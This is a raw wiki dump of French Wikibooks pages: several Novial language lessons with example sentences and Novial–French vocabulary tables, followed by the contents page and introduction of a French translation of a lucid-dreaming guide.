|- ! ''' fogle ''' || oiseau |- ! ''' li ''' || article défini (le, la, les) |- ! ''' apartena ''' || appartenir |- ! ''' a ''' || à |- ! ''' sune ''' || soleil |- ! ''' brilia ''' || briller |- ! ''' san(i) ''' || sain, en santé |- ! ''' -i ''' || marque l’adjectif |- ! ''' taliore ''' || tailleur |} Novial : Lektione 3 8383 42851 2006-05-20T10:53:23Z 213.173.147.43 [[Image:novflag.png|100px|right|Novial flag]] <small>[[Novial_:_Lektione 1|§ 1]] - [[Novial_:_Lektione 2|§ 2]] - [[Novial_:_Lektione 3|§ 3]] - [[Novial_:_Lektione 4|§ 4]] - [[Novial_:_Lektione 5|§ 5]] - [[Novial_:_Lektione 6|§ 6]] - [[Novial_:_Lektione 7|§ 7]] - [[Novial_:_Lektione 8|§ 8]] - [[Novial_:_Lektione 9|§ 9]] - [[Novial_:_Lektione 10|§ 10]] - [[Novial_:_Lektione 11|§ 11]] - [[Novial_:_Lektione 12|§ 12]] - [[Novial_:_Lektione 13|§ 13]] - [[Novial_:_Lektione 14|§ 14]] - [[Novial_:_Lektione 15|§ 15]] - [[Novial_:_Lektione 16|§ 16]] - <small>[[Novial_:_Lektione 17|§ 17]] - [[Novial_:_Lektione 18|§ 18]] - [[Novial_:_Lektione 19|§ 19]] - [[Novial_:_Lektione 20|§ 20]] - [[Novial_:_Lektione 21|§ 21]] - [[Novial_:_Lektione 22|§ 22]] - [[Novial_:_Lektione 23|§ 23]] - [[Novial_:_Lektione 24|§ 24]] - [[Novial_:_Lektione 25|§ 25]] - [[Novial_:_Lektione 26|§ 26]] - [[Novial_:_Lektione 27|§ 27]] - [[Novial_:_Lektione 28|§ 28]] - [[Novial_:_Lektione 29|§ 29]] - [[Novial_:_Lektione 30|§ 30]] - [[Novial_:_Lektione 31|§ 31]] - <small>[[Novial_:_Lektione 32|§ 32]] - [[Novial_:_Lektione 33|§ 33]] - [[Novial_:_Lektione 34|§ 34]] - [[Novial_:_Lektione 35|§ 35]] - [[Novial_:_Lektione 36|§ 36]] - [[Novial_:_Lektione 37|§ 37]] - [[Novial_:_Lektione 38|§ 38]] - [[Novial_:_Lektione 39|§ 39]]</small> ------------------------------------------------------------------------- == '''Lektione 3'''== Infane non es maturi home. Li infane ja non plora. Li siele es blui. Quilok es li libre e li krayone? Li libre es sur li table, e li krayone lia sur li fenestre. Sur li fenestre krayone e plume lia. Dislok es pome. Dislok es li pome, kel me did trova. Sur li tere stone lia. {| border= 1 cellpadding= 3 |- ! ''' infane ''' || enfant |- ! ''' non ''' || ne, ne... pas |- ! ''' matur(i) ''' || mûr |- ! ''' homo ''' || homme |- ! ''' ja ''' || déjà |- ! ''' plora ''' || pleurer |- ! ''' siele ''' || ciel |- ! ''' blu(i) ''' || bleu |- ! ''' quilok ''' || où |- ! ''' libre ''' || livre |- ! ''' krayone ''' || crayon |- ! ''' sur ''' || sur |- ! ''' table ''' || table |- ! ''' lia ''' || être couché |- ! ''' fenestre ''' || fenêtre |- ! ''' plume ''' || plume |- ! ''' dislok ''' || voici, voilà |- ! ''' pome ''' || pomme |- ! ''' kel ''' || qui lequel, laquelle |- ! ''' me ''' || je, moi |- ! ''' trova ''' || trouver |- ! ''' did ''' || marque le passé |- ! ''' tere ''' || terre |- ! ''' stone ''' || pierre |} Novial : Lektione 4 8384 42856 2006-05-20T10:56:49Z 213.173.147.43 [[Image:novflag.png|100px|right|Novial flag]] <small>[[Novial_:_Lektione 1|§ 1]] - [[Novial_:_Lektione 2|§ 2]] - [[Novial_:_Lektione 3|§ 3]] - [[Novial_:_Lektione 4|§ 4]] - [[Novial_:_Lektione 5|§ 5]] - [[Novial_:_Lektione 6|§ 6]] - [[Novial_:_Lektione 7|§ 7]] - [[Novial_:_Lektione 8|§ 8]] - [[Novial_:_Lektione 9|§ 9]] - [[Novial_:_Lektione 10|§ 10]] - [[Novial_:_Lektione 11|§ 11]] - [[Novial_:_Lektione 12|§ 12]] - [[Novial_:_Lektione 13|§ 13]] - [[Novial_:_Lektione 14|§ 14]] - [[Novial_:_Lektione 15|§ 15]] - [[Novial_:_Lektione 16|§ 16]] - <small>[[Novial_:_Lektione 17|§ 17]] - [[Novial_:_Lektione 18|§ 18]] - [[Novial_:_Lektione 19|§ 19]] - [[Novial_:_Lektione 20|§ 20]] - [[Novial_:_Lektione 21|§ 21]] - [[Novial_:_Lektione 22|§ 22]] - [[Novial_:_Lektione 23|§ 23]] - [[Novial_:_Lektione 24|§ 24]] - [[Novial_:_Lektione 25|§ 25]] - [[Novial_:_Lektione 26|§ 26]] - [[Novial_:_Lektione 27|§ 27]] - [[Novial_:_Lektione 28|§ 28]] - [[Novial_:_Lektione 29|§ 29]] - [[Novial_:_Lektione 30|§ 30]] - [[Novial_:_Lektione 31|§ 31]] - <small>[[Novial_:_Lektione 32|§ 32]] - [[Novial_:_Lektione 33|§ 33]] - [[Novial_:_Lektione 34|§ 34]] - [[Novial_:_Lektione 35|§ 35]] - [[Novial_:_Lektione 36|§ 36]] - [[Novial_:_Lektione 37|§ 37]] - [[Novial_:_Lektione 38|§ 38]] - [[Novial_:_Lektione 39|§ 39]]</small> ------------------------------------------------------------------------- =='''Lektione 4'''== Leone es forti. Li dentes de leone es akuti. A leone non dona li manu. Me vida leone. Ye resta kun leone es danjerosi. Que es kurajosi ye kavalka sur leone? Me parla pri leone. {| border= 1 cellpadding= 3 |- ! ''' forti ''' || fort |- ! ''' dente ''' || dent |- ! ''' -s, -es ''' || marque le pluriel |- ! ''' de ''' || de |- ! ''' akut(i) ''' || aigu |- ! ''' dona ''' || donner |- ! ''' manu ''' || main |- ! ''' vida ''' || voir |- ! ''' kun ''' || avec |- ! ''' danjere ''' || danger |- ! ''' -im ''' || marque l’adverbe |- ! ''' kuraje ''' || courageux |- ! ''' kavalka ''' || aller à cheval |- ! ''' ye ''' || marque l’infinitif |- ! ''' parla ''' || parler |- ! ''' pri ''' || sur, touchant, de |} Novial : Lektione 5 8385 42853 2006-05-20T10:54:59Z 213.173.147.43 [[Image:novflag.png|100px|right|Novial flag]] <small>[[Novial_:_Lektione 1|§ 1]] - [[Novial_:_Lektione 2|§ 2]] - [[Novial_:_Lektione 3|§ 3]] - [[Novial_:_Lektione 4|§ 4]] - [[Novial_:_Lektione 5|§ 5]] - [[Novial_:_Lektione 6|§ 6]] - [[Novial_:_Lektione 7|§ 7]] - [[Novial_:_Lektione 8|§ 8]] - [[Novial_:_Lektione 9|§ 9]] - [[Novial_:_Lektione 10|§ 10]] - [[Novial_:_Lektione 11|§ 11]] - [[Novial_:_Lektione 12|§ 12]] - [[Novial_:_Lektione 13|§ 13]] - [[Novial_:_Lektione 14|§ 14]] - [[Novial_:_Lektione 15|§ 15]] - [[Novial_:_Lektione 16|§ 16]] - <small>[[Novial_:_Lektione 17|§ 17]] - [[Novial_:_Lektione 18|§ 18]] - [[Novial_:_Lektione 19|§ 19]] - [[Novial_:_Lektione 20|§ 20]] - [[Novial_:_Lektione 21|§ 21]] - [[Novial_:_Lektione 22|§ 22]] - [[Novial_:_Lektione 23|§ 23]] - [[Novial_:_Lektione 24|§ 24]] - [[Novial_:_Lektione 25|§ 25]] - [[Novial_:_Lektione 26|§ 26]] - [[Novial_:_Lektione 27|§ 27]] - [[Novial_:_Lektione 28|§ 28]] - [[Novial_:_Lektione 29|§ 29]] - [[Novial_:_Lektione 30|§ 30]] - [[Novial_:_Lektione 31|§ 31]] - <small>[[Novial_:_Lektione 32|§ 32]] - [[Novial_:_Lektione 33|§ 33]] - [[Novial_:_Lektione 34|§ 34]] - [[Novial_:_Lektione 35|§ 35]] - [[Novial_:_Lektione 36|§ 36]] - [[Novial_:_Lektione 37|§ 37]] - [[Novial_:_Lektione 38|§ 38]] - [[Novial_:_Lektione 39|§ 39]]</small> ------------------------------------------------------------------------- =='''Lektione 5'''== Li patro es boni. Dislok lia li chapele de li patro. Dikte a li patro, ke me es diligenti. Me ama li patro. Veni kunu kun li patro. Li filio stea proxim li patro. Li manu de Markus es puri. Me konosa Markus. Ludovik, dona a me pane. Me manja per li boke e flara per li nase. Devan li hause stea arbre. {| border= 1 cellpadding= 3 |- ! ''' bon(i) ''' || bon |- ! ''' chapele ''' || chapeau |- ! ''' dikte ''' || dire |- ! ''' ke ''' || que |- ! ''' diligent(i) ''' || diligent, assidu |- ! ''' ama ''' || aimer |- ! ''' veni ''' || venir |- ! ''' kunu ''' || ensemble |- ! ''' filio ''' || fils |- ! ''' stea ''' || être debout |- ! ''' proxim ''' || auprès de |- ! ''' pur(i) ''' || pur, propre |- ! ''' konosa ''' || connaître |- ! ''' pane ''' || pain |- ! ''' manja ''' || manger |- ! ''' per ''' || par, au moyen de |- ! ''' boke ''' || bouche |- ! ''' flara ''' || flairer, sentir |- ! ''' nase ''' || nez |- ! ''' devan ''' || devant |- ! ''' dome ''' || maison |- ! ''' arbre ''' || arbre |- ! ''' chambre ''' || chambre |} Novial : Lektione 6 8386 42854 2006-05-20T10:55:37Z 213.173.147.43 [[Image:novflag.png|100px|right|Novial flag]] <small>[[Novial_:_Lektione 1|§ 1]] - [[Novial_:_Lektione 2|§ 2]] - [[Novial_:_Lektione 3|§ 3]] - [[Novial_:_Lektione 4|§ 4]] - [[Novial_:_Lektione 5|§ 5]] - [[Novial_:_Lektione 6|§ 6]] - [[Novial_:_Lektione 7|§ 7]] - [[Novial_:_Lektione 8|§ 8]] - [[Novial_:_Lektione 9|§ 9]] - [[Novial_:_Lektione 10|§ 10]] - [[Novial_:_Lektione 11|§ 11]] - [[Novial_:_Lektione 12|§ 12]] - [[Novial_:_Lektione 13|§ 13]] - [[Novial_:_Lektione 14|§ 14]] - [[Novial_:_Lektione 15|§ 15]] - [[Novial_:_Lektione 16|§ 16]] - <small>[[Novial_:_Lektione 17|§ 17]] - [[Novial_:_Lektione 18|§ 18]] - [[Novial_:_Lektione 19|§ 19]] - [[Novial_:_Lektione 20|§ 20]] - [[Novial_:_Lektione 21|§ 21]] - [[Novial_:_Lektione 22|§ 22]] - [[Novial_:_Lektione 23|§ 23]] - [[Novial_:_Lektione 24|§ 24]] - [[Novial_:_Lektione 25|§ 25]] - [[Novial_:_Lektione 26|§ 26]] - [[Novial_:_Lektione 27|§ 27]] - [[Novial_:_Lektione 28|§ 28]] - [[Novial_:_Lektione 29|§ 29]] - [[Novial_:_Lektione 30|§ 30]] - [[Novial_:_Lektione 31|§ 31]] - <small>[[Novial_:_Lektione 32|§ 32]] - [[Novial_:_Lektione 33|§ 33]] - [[Novial_:_Lektione 34|§ 34]] - [[Novial_:_Lektione 35|§ 35]] - [[Novial_:_Lektione 36|§ 36]] - [[Novial_:_Lektione 37|§ 37]] - [[Novial_:_Lektione 38|§ 38]] - [[Novial_:_Lektione 39|§ 39]]</small> ------------------------------------------------------------------------- =='''Lektione 6'''== Li fogles vola. Li kanto de li fogles es agrabli. Dona a li fogles aque, den les voli drinka. Li puero forchasa li fogles. Nus vida per li okules e audi per li oreles. Boni infanes lerna diligentim. Alexander non voli lerna, e dunke me frapa Alexander. Fro li patro me did resiva libre, e fro li fratro me did resiva plume. Me veni fro li avo, e me vada a li onklo. Me lekte libre. Li patro non lekte libre, ma lo skripte letre. {| border= 1 cellpadding= 3 |- ! ''' vola ''' || voler (avec des ailes) |- ! ''' kanta ''' || chanter |- ! ''' agrabli ''' || agréable |- ! ''' aque ''' || eau |- ! ''' den ''' || car, parce que |- ! ''' les ''' || ils, elles |- ! ''' voli ''' || vouloir |- ! ''' drinka ''' || boire |- ! ''' puero ''' || garçon |- ! ''' for ''' || loin, hors |- ! ''' chasa ''' || chasser, renvoyer |- ! ''' nus ''' || nous |- ! ''' okule ''' || œil |- ! ''' audi ''' || entendre |- ! ''' orele ''' || oreille |- ! ''' lerna ''' || apprendre |- ! ''' dunke ''' || c’est pourquoi |- ! ''' bata ''' || battre |- ! ''' resiva ''' || recevoir, obtenir |- ! ''' avo ''' || grand-père |- ! ''' vada ''' || aller |- ! ''' nun ''' || maintenant |- ! ''' onklo ''' || oncle |- ! ''' lekte ''' || lire |- ! ''' ma ''' || mais |- ! ''' lo ''' || il, lui |- ! ''' skripte ''' || écrire |- ! ''' letre ''' || lettre, épître |} Novial : Lektione 7 8387 42882 2006-05-20T13:47:19Z 213.173.147.43 [[Image:novflag.png|100px|right|Novial flag]] <small>[[Novial_:_Lektione 1|§ 1]] - [[Novial_:_Lektione 2|§ 2]] - [[Novial_:_Lektione 3|§ 3]] - [[Novial_:_Lektione 4|§ 4]] - [[Novial_:_Lektione 5|§ 5]] - [[Novial_:_Lektione 6|§ 6]] - [[Novial_:_Lektione 7|§ 7]] - [[Novial_:_Lektione 8|§ 8]] - [[Novial_:_Lektione 9|§ 9]] - [[Novial_:_Lektione 10|§ 10]] - [[Novial_:_Lektione 11|§ 11]] - [[Novial_:_Lektione 12|§ 12]] - [[Novial_:_Lektione 13|§ 13]] - [[Novial_:_Lektione 14|§ 14]] - [[Novial_:_Lektione 15|§ 15]] - [[Novial_:_Lektione 16|§ 16]] - <small>[[Novial_:_Lektione 17|§ 17]] - [[Novial_:_Lektione 18|§ 18]] - [[Novial_:_Lektione 19|§ 19]] - [[Novial_:_Lektione 20|§ 20]] - [[Novial_:_Lektione 21|§ 21]] - [[Novial_:_Lektione 22|§ 22]] - [[Novial_:_Lektione 23|§ 23]] - [[Novial_:_Lektione 24|§ 24]] - [[Novial_:_Lektione 25|§ 25]] - [[Novial_:_Lektione 26|§ 26]] - [[Novial_:_Lektione 27|§ 27]] - [[Novial_:_Lektione 28|§ 28]] - [[Novial_:_Lektione 29|§ 29]] - [[Novial_:_Lektione 30|§ 30]] - [[Novial_:_Lektione 31|§ 31]] - <small>[[Novial_:_Lektione 32|§ 32]] - [[Novial_:_Lektione 33|§ 33]] - [[Novial_:_Lektione 34|§ 34]] - [[Novial_:_Lektione 35|§ 35]] - [[Novial_:_Lektione 36|§ 36]] - [[Novial_:_Lektione 37|§ 37]] - [[Novial_:_Lektione 38|§ 38]] - [[Novial_:_Lektione 39|§ 39]]</small> ------------------------------------------------------------------------- =='''Lektione 7'''== Papere es blanki. Blanki papere lia sur li table. Li blanki paperi ja non lia sur li table. Dislok es li kayere de li yuni selibatera (siniorina). Li patre did dona a me dolsi pome. Rakonta a men yuni amiko beli rakonto. Me non prisa obstinati homes. Me desire a vu bon jorne, sinioro! Bon matine! Joyosi feste! (me desire a vu). Quali joyosi feste! (es disdi). Sur li siele stea li beli sune. Dum li jorne nus vida li klari sune, e dum li nokte nus vida li pali lune e li beli astres. Li papere es tre blanki, ma li nive es plu blanki. Milke es plu nutrivi kam vine. Me have plu freshi pane kam vu. No, vu erora, sinioro; vun pane es min freshi kam men. Ek omni men infanes Ernesto es li maxim yuni. Me es tam forti kam vu. Ek omni sen fratros Antono es li minim saji. {| border= 1 cellpadding= 3 |- ! ''' papere ''' || papier |- ! ''' blank(i) ''' || blanc |- ! ''' kayere ''' || cahier |- ! ''' yun(i) ''' || jeune |- ! ''' selibetero ''' || homme non marié |- ! ''' -a ''' || marque le féminin; ex.: '''fiansato''' fiancé ― '''fiansata''' fiancée |- ! ''' selibetera ''' || demoiselle, mademoiselle |- ! ''' dolsi ''' || doux |- ! ''' rakonta ''' || raconter |- ! ''' men ''' || mon |- ! ''' amike ''' || ami |- ! ''' bel(i) ''' || beau |- ! ''' rakonto ''' || histoire |- ! ''' obstinat(i) ''' || entêté, obstiné |- ! ''' desire ''' || désirer |- ! ''' vu ''' || vous, toi, tu |- ! ''' jorne ''' || jour |- ! ''' sinioro ''' || monsieur |- ! ''' matine ''' || matin |- ! ''' joya ''' || se réjouir |- ! ''' festa ''' || fêter |- ! ''' qual(i) ''' || quel |- ! ''' disdi ''' || aujourd’hui |- ! ''' in ''' || en, dans |- ! ''' klar(i) ''' || clair (qui n’est pas obscur) |- ! ''' nokte ''' || nuit |- ! ''' pal(i) ''' || pâle |- ! ''' lune ''' || lune |- ! ''' astre ''' || étoile |- ! ''' nive ''' || neige |- ! ''' plu ''' || plus |- ! ''' milke ''' || lait |- ! ''' nutri ''' || nourrir |- ! ''' kam ''' || que (dans une comparaison) |- ! ''' vine ''' || vin |- ! ''' have ''' || avoir |- ! ''' fresh(i) ''' || frais, récent |- ! ''' erora ''' || errer |- ! ''' des- ''' || marque les contraires; ex estima estimer ― desestima mépriser |- ! ''' ek ''' || de, d’entre, é-, ex- |- ! ''' chak(i) ''' || chacun |- ! ''' omni ''' || tous |- ! ''' maxim ''' || le plus |- ! ''' talim ''' || ainsi, de cette manière |- ! ''' qualim ''' || comment |- ! ''' se ''' || soi, se |- ! ''' sen ''' || son, sa |- ! ''' saj(i) ''' || sage, sensé |} Rêve lucide 8388 45504 2006-06-23T20:17:51Z 84.197.63.120 faute de frappe '''Bonjour, ce wikilivre est la traduction du wikibook "Lucid Dreaming" disponible dans la version anglaise de wikilivre: [[w:en:Wikibooks:Lucid Dreaming|ici]]''' : La traduction en est actuellement à '''8%'''. ==Synopsis== Ce livre va essayer de vous enseigner les astuces pouvant vous aider à avoir des rêves lucides — rêves dans lesquels vous êtes conscient de rêver. Les rêves lucides existent, c'est un fait prouvé scientifiquement. Vous rendre compte que vous rêvez en sachant que vous êtes endormi peut vous donner la capacité de contrôler vos rêves. Rêver de manière lucide est une expérience fantastique. Rendez-vous à l'introduction pour plus de détails sur ce qu'est vraiment le rêve lucide. Un bref résumé de ce qui vous attend tout au long du livre : :*Vous allez découvrir ce qu'est le rêve au niveau biologique; :*Nous allons vous expliquer comment améliorer votre rappel de rêve, vous permettant de vous souvenir de plus en plus clairement de vos rêves; :*Nous verrons aussi et surtout comment devenir lucide en rêve et comment le rester. Vous découvrirez donc quelques techniques pour vous maintenir en rêve sans qu'il "se fane"; :*Et nous finirons ce livre en vous donnant quelques idées originales de choses à faire pendant un rêve lucide. ==Tables des matières== ===[[Rêve lucide: Introduction|Introduction]]=== # Au sujet du rêve # Au sujet du rêve lucide # Les dangers potentiels du rêve lucide ## Dépendance ## Aliénation ## Dissociation ## Contreversé : Rencontre accidentelle d'entités "spirituelles" ## Contreversé : Prise de mauvaises habitudes et comportement anormal ## Controversé : Epuisement ## Controversé : Incapacité de s'arrêter ## Controversé : Faux-éveils indésirables # Techniques semblables ===[[Rêve lucide: Rappel de rêve|Rappel de rêve]]=== # Améliorer son rappel de rêve ===[[Rêve lucide: Techniques d'induction|Techniques d'induction]]=== # Préléminaires ## Se réveiller et avoir sommeil ## Test de réalité # Techniques ## WBTB ## Autosuggestion ## MILD ## WILD ### Imagerie Hypnagogique ### En comptant ## Rêves dirigés ### Rêves en chaine ### VILD ### LILD ## CAT ## Méthodes tibétaines ## Autres techniques # Autres méthodes ## Nourriture et boisson ## Drogue ## Instruments ## Logiciel ### Hypnosis ===[[Rêve lucide: Utilisation|Utilisation]]=== # Stabilisation du rêve ## Se frotter les mains ## Rotation ## Stopper le ralentissement ## Essayer de recouvrir sa mémoire d'éveil et ses capacités cognitives ## Se "faux-éveiller" # Recuperation d'une perte de visuels ## Autosuggestion ## Par la visualisation # Alteration du rêve ## Changer l'environnement du rêve ## Avoir des objets dans son rêve # Ce que vous pouvez faire ## Facilement ## Avec un peu d'expérience ## Difficilement # Conclusion ===[[Rêve lucide: Glossaire|Glossaire]]=== : Liste alphabétique du vocabulaire mentionné ===[[Rêve lucide: Annexes|Annexes]]=== : Divers posts venant de forums où les gens décrivent leur propre technique : Autres documents (FAQ, etc) ===[[Rêve lucide: Davantage de lecture|Davantage de lecture]]=== : Sur internet et en livre ===[[Rêve lucide: FAQ|FAQ]]=== : Une Foire Aux Questions pour répondre à toutes vos questions ==Les auteurs== Par ordre alphabétique: [[w:en:User:Evilshiznat|Evilshiznat]] a déjà eu quelques rêves lucides. [[w:en:User:Kaycee|Kaycee]] [[w:en:Special:Contributions/Kaycee|(cont)]] [[w:en:User talk:Kaycee|(talk)]] est un rêveur lucide de naissance qui confirme la majorité des choses expliquées dans ce livre. [[w:en:User:KirbyMeister|KirbyMeister]] n'a eu qu'un seul rêve lucide jusqu'ici, il a re-organisé les annexes et est un des plus grand fan de Bob l'éponge. [[w:en:User:R3m0t|r3m0t]] [[w:en:Special:Contributions/r3m0t|(cont)]] [[w:en:User talk:r3m0t|(talk)]] (15) n'a seulement eu que quelques rêves lucides jusqu'ici, mais a écrit la plupart des informations de ce wikilivre. [[w:en:User:Tharenthel|Tharenthel]] <sup>[[w:en:User talk:Tharenthel|(Talk)]] [[w:en:Special:Contributions/Tharenthel|(Contribs)]]</sup> a eu de nombreux rêves lucides jusqu'ici et a fait de nombreuses ré-organisations de ce wikilivre. [[w:en:User:Xgamer4|Xgamer4]] a eu beaucoup de rêves lucides, il a aussi fait (si on peut appelé ça comme ça) la Foire Aux Questions. [[User:ZYnqrk|ZYnqrk]] est le traducteur du wikilivre [[w:en:Wikibooks:Lucid Dreaming|Lucid Dreaming]] {{en}} . '''NB''':'' La plupart des auteurs étant anglais, les liens portent vers wikibook version anglaise. Rêve lucide: Introduction 8389 44270 2006-06-10T14:09:11Z ZYnqrk 1546 ==Note== Lorsque vous essaierez les techniques de ce livre, vous risquez d'avoir quelques expériences effrayantes, comme des sensations de chute où des paralysies du sommeil. Bien que les auteurs certifient qu'elles ne sont pas dangereuses, vous devriez éviter d'employer les techniques qui créent ces sensations si vous désirez ne pas les éprouver. Certaines drogues peuvent avoir des effets secondaires. Il est recommandé de s'être documenté sur le sujet par internet ou avec votre médecin généraliste avant de les utiliser. De plus, l'effet placebo a un effet majeur sur les rêves. Si vous êtes persuadé que vos personnages de rêves sont idiots et incapables d'interagir, alors ils le seront. Si vous êtes persuadé qu'ils peuvent être créatifs, originaux et surprenant, alors ils le seront. La plupart du contenu de vos rêves est affecté par cet effet placebo. Rappelez-vous donc que si vous êtes persuadé que rêver lucidement c'est facile, alors ça le sera. Les expériences et les "faits" présentés dans ces pages n'ont pas été prouvés par recherche. Cela ne veut absolument pas dire que ces techniques ne marchent pas, seulement qu'elles peuvent vous servir de placebos ou qu'elles peuvent être ineffectives la plupart du temps. ==Au sujet du rêve== <div style="float: right; margin: 0 0 1em 1em; font-style: oblique; font-size: smaller;">[[Image:sleep-cycle.gif|Stages of sleep]]<br />Les phases du sommeil</div> Chaque nuit, nous dépensons entre 1h30 et 2h00 pour rêver. Nous rêvons environ une fois toutes les 90 minutes de sommeil. Tout au long de la nuit, le temps que l'on passe à rêver s'accroît : il passe de 10 minutes environ à 45 minutes ou legèrement plus. Mais que se passe-t'il quand nous rêvons? Il y a cinq phases de sommeil : quatre phases de sommeil NREM (Non-REM) [ndt:REM signifie rapid eye movement], aussi appelées SWS (Slow-Wave Sleep), et une phase de sommeil REM. Les rêves les plus palpitant, donc ceux qu'on se rappelle le plus, se passent pendant une phase de sommeil REM (bien qu'on rêve aussi dans d'autres phases). Une phase dure environ 90 minutes. *La première phase (NREM) est une transition entre la phase d'éveil et la phase de sommeil. C'est la phase où apparait l'imagerie hypnagogique. On passe généralement à la phase deux en quelques minutes. *Pendant la phase 2 (NREM), le corps s'endort petit à petit, le tonus musculaire diminue et les ondes cérébrales voient leur longueur d'onde augmenter. *La phase 3 (NREM) apparaît d'habitude entre 30 à 45 minutes après s'être endormi la première fois. De larges et lentes ondes delta sont produites. *La phase 4 (NREM) est souvent appelée "sommeil profond". Les battements du coeur sont de plus en plus lents et faibles et l'activité du cerveau est moindre. C'est pendant cette phase que le somnambulisme se produit habituellement. Après la 4ème phase, l'ordre des phases de sommeil NREM s'inverse et revient jusqu'à la phase 2 puis ensuite dans la phase de sommeil REM. *Durant la phase de sommeil REM (REM), certaines parties du cerveau sont aussi actives que lorsque l'on est éveillé. Dans cette phase, vos yeux clignent très vite est roulent sur eux-même (d'où l'acronyme REM : rapid eye movement). Votre corps est paralysé, certainement pour vous empêcher d'agir en dehors de vos rêves. '''De toute façon, je ne rêve jamais.''' Et pourtant, si — c'est juste que vous ne vous rappelez d'aucun de vos rêves. Dans le prochain chapitre, nous verrons comment améliorer votre rappel de rêve. '''Pourquoi rêvons-nous? Que signifient les rêves?''' De nombreuses hypothèses variées sont détaillées dans cet article sur l'interprêtation des rêves dans Wikipedia : http://en.wikipedia.org/wiki/Oneiromancy {{en}}. ==Au sujet du rêve lucide== Rêver lucidement signifie rêver en sachant que l'on rêve. Si vous êtes dans un rêve lucide, vous aurez un certain pouvoir sur votre rêve — ca peut aller d'un simple vol, de la création d'un objet ou de l'apparition d'une pièce derrière une porte ou dans une poche jusqu'à vous changer en animal et créer un monde entier ! C'est comme si vous étiez le directeur de votre propre film. L'existence des rêves lucides a été scientifiquement prouvé. Stephen LaBerge de [http://www.lucidity.com The Lucidity Institute] {{en}} s'est servi d'une machine spéciale pour enregistrer le mouvement des yeux durant un rêve (en rapport direct avec les mouvements des yeux que vous faites dans le dit-rêve). Il a demandé à des rêveurs lucides de pointer leur regard à gauche et à droite en une petite succession une fois qu'ils étaient "conscients" dans leur rêve. Ce mouvement fut donc enregistré dans la machine. Pour plus d'informations sur ça et sur les autres expériences, lisez ''Exploring the World of Lucid Dreaming'' (ou encore [[Davantage de lecture ici|Davantage de lecture]]). Il y a de nombreuses raisons de vouloir rêver lucidement : *Juste pour le '''plaisir''' ! Le simple fait de voler dans un rêve lucide va vous enivrer d'un plaisir immense ! Les rêves lucides sont très souvent bien plus vivants et intenses que des rêves non-lucides. Vous pouvez utiliser un rêve lucide pour vous envoler vers des cieux colorés après une longue journée de dur labeur. *Vous transformer en animal ou acquérir de super pouvoirs est une '''expérience unique''' qu'il est impossible de ressentir autrement qu'en rêvant lucidement. *La plus grande partie de votre "entraînement" pour les rêves lucides est d'améliorer votre '''rappel de rêve''', qui signifie "combien de rêves vous pouvez vous rapeller" et "avec quelle clarté". *Si vous êtes une personne interessée dans les rêves — spirituellement ou psychologiquement — essayer de rêver lucidement peut vous aider dans vos recherches. *Si vous êtes en train d'écrire une fiction, ou encore en train "de créer" un monde pour un jeu vidéo, les rêves lucides peuvent vous aider à le visualiser. Vous pouvez demander à vos personnages qu'est-ce qu'ils ressentent au sujet de quelquechose ou qu'est-ce qu'ils pensent qu'il va se passer. *Certaines personnes composent de la musique dans leur rêve lucide. *Les rêves lucides sont assez réalistes pour '''préparer''' un discours ou une compo' musicale. *Vous pouvez '''revivre''' dans expériences vécues par le passé ou encore '''revivre''' un rêve précédent. *Ils peuvent vous aider à '''interprêter vos rêves''' et à '''communiquer avec votre subconscient'''. '''J'arrive à devenir lucide, mais impossible de contrôler mes rêves.''' C'est très rarement le cas (bien que ça puisse l'être plus souvent dans un cauchemar). Généralement, c'est seulement votre mémoire qui prend le contrôle. Si vous devenez lucide dans un rêve où vous avez un corps, vous serez sûr de pouvoir contrôler votre corps. Cependant, il se peut que vous ne puissiez rien contrôler d'autre. Ne vous inquiètez pas, ce n'est que temporaire — la plupart des gens n'ont aucun problème pour sauter très haut ou voler dans un rêve lucide, alors pourquoi pas vous? '''Combien de temps faut-il pour apprendre à faire des rêves lucides?''' Cela dépend complétement des personnes et des circonstances. Certaines personnes ont un rêve lucide quelques nuits seulement après avoir lu ou trouvé des renseignements sur le sujet (généralement par accident), tandis que pour certaines personnes cela peut prendre des mois! Si vous ne dormez pas assez ou que vous êtes trop stressé après avoir travaillé pour essayer quelques techniques, alors cela peut prendre beaucoup de temps, voire encore plus si vous vous persuadez que cela prendra du temps! Cela dépend aussi de la quantité d'efforts que vous allez fournir. Cependant, ''tout le monde'' peut rêver en étant lucide. '''Je pense pouvoir rêver lucidement de manière naturelle, est-ce possible?''' C'est assez rare (voire très) d'avoir des rêves lucides régulièrement, bien que beaucoup de personnes ont déjà fait au moins un rêve lucide à un moment de leur vie. Si vous voulez augmentez la fréquence de vos rêves lucides, continuez de lire ce livre; autrement, passez directement à la section [[Rêve lucide: Utilisation|Utilisation]] pour obtenir quelques petites idées pour vos rêves. '''J'ai fait [un rêve], est-ce que j'étais lucide?''' En général, un rêve lucide se définit par un rêve dans lequel vous savez qu'à un moment vous rêvez, indépendamment de toute autre chose. Même si vous avez été lucide une seconde et que vous avez perdu votre lucidité, c'était tout de même techniquement un rêve lucide. Servez-vous de ce tableau: {| !width="50%"|Signes que vous étiez lucide !width="50%"|Signes que vous ne l'étiez pas |- |valign="top"| * Faire un test de réalité donnant un résultat positif * Faire remarquer à vos personnages de rêve que vous êtes en train de rêver * Essayer de stabiliser le rêve (voir le chapitre [[Rêve lucide: Utilisation#Stabilisation du rêve|Utilisation]]) * Essayer de voler, de traverser des mirroirs, etc. immédiatement après avoir pris conscience que vous rêviez * Se réveiller juste après avoir réalisé que vous rêviez |valign="top"| * Rêver que vous rêvez * Traiter des personnages de rêve comme des personnes réelles* * Avoir un rappel de rêve inhabituellement pauvre après être devenu lucide * Ne pas reconnaitre des choses illogiques propres aux rêves |} Novial : Lektione 1 8390 42939 2006-05-21T18:43:17Z 213.173.146.102 [[Image:novflag.png|100px|right|Novial flag]] <small>[[Novial_:_Lektione 1|§ 1]] - [[Novial_:_Lektione 2|§ 2]] - [[Novial_:_Lektione 3|§ 3]] - [[Novial_:_Lektione 4|§ 4]] - [[Novial_:_Lektione 5|§ 5]] - [[Novial_:_Lektione 6|§ 6]] - [[Novial_:_Lektione 7|§ 7]] - [[Novial_:_Lektione 8|§ 8]] - [[Novial_:_Lektione 9|§ 9]] - [[Novial_:_Lektione 10|§ 10]] - [[Novial_:_Lektione 11|§ 11]] - [[Novial_:_Lektione 12|§ 12]] - [[Novial_:_Lektione 13|§ 13]] - [[Novial_:_Lektione 14|§ 14]] - [[Novial_:_Lektione 15|§ 15]] - [[Novial_:_Lektione 16|§ 16]] - <small>[[Novial_:_Lektione 17|§ 17]] - [[Novial_:_Lektione 18|§ 18]] - [[Novial_:_Lektione 19|§ 19]] - 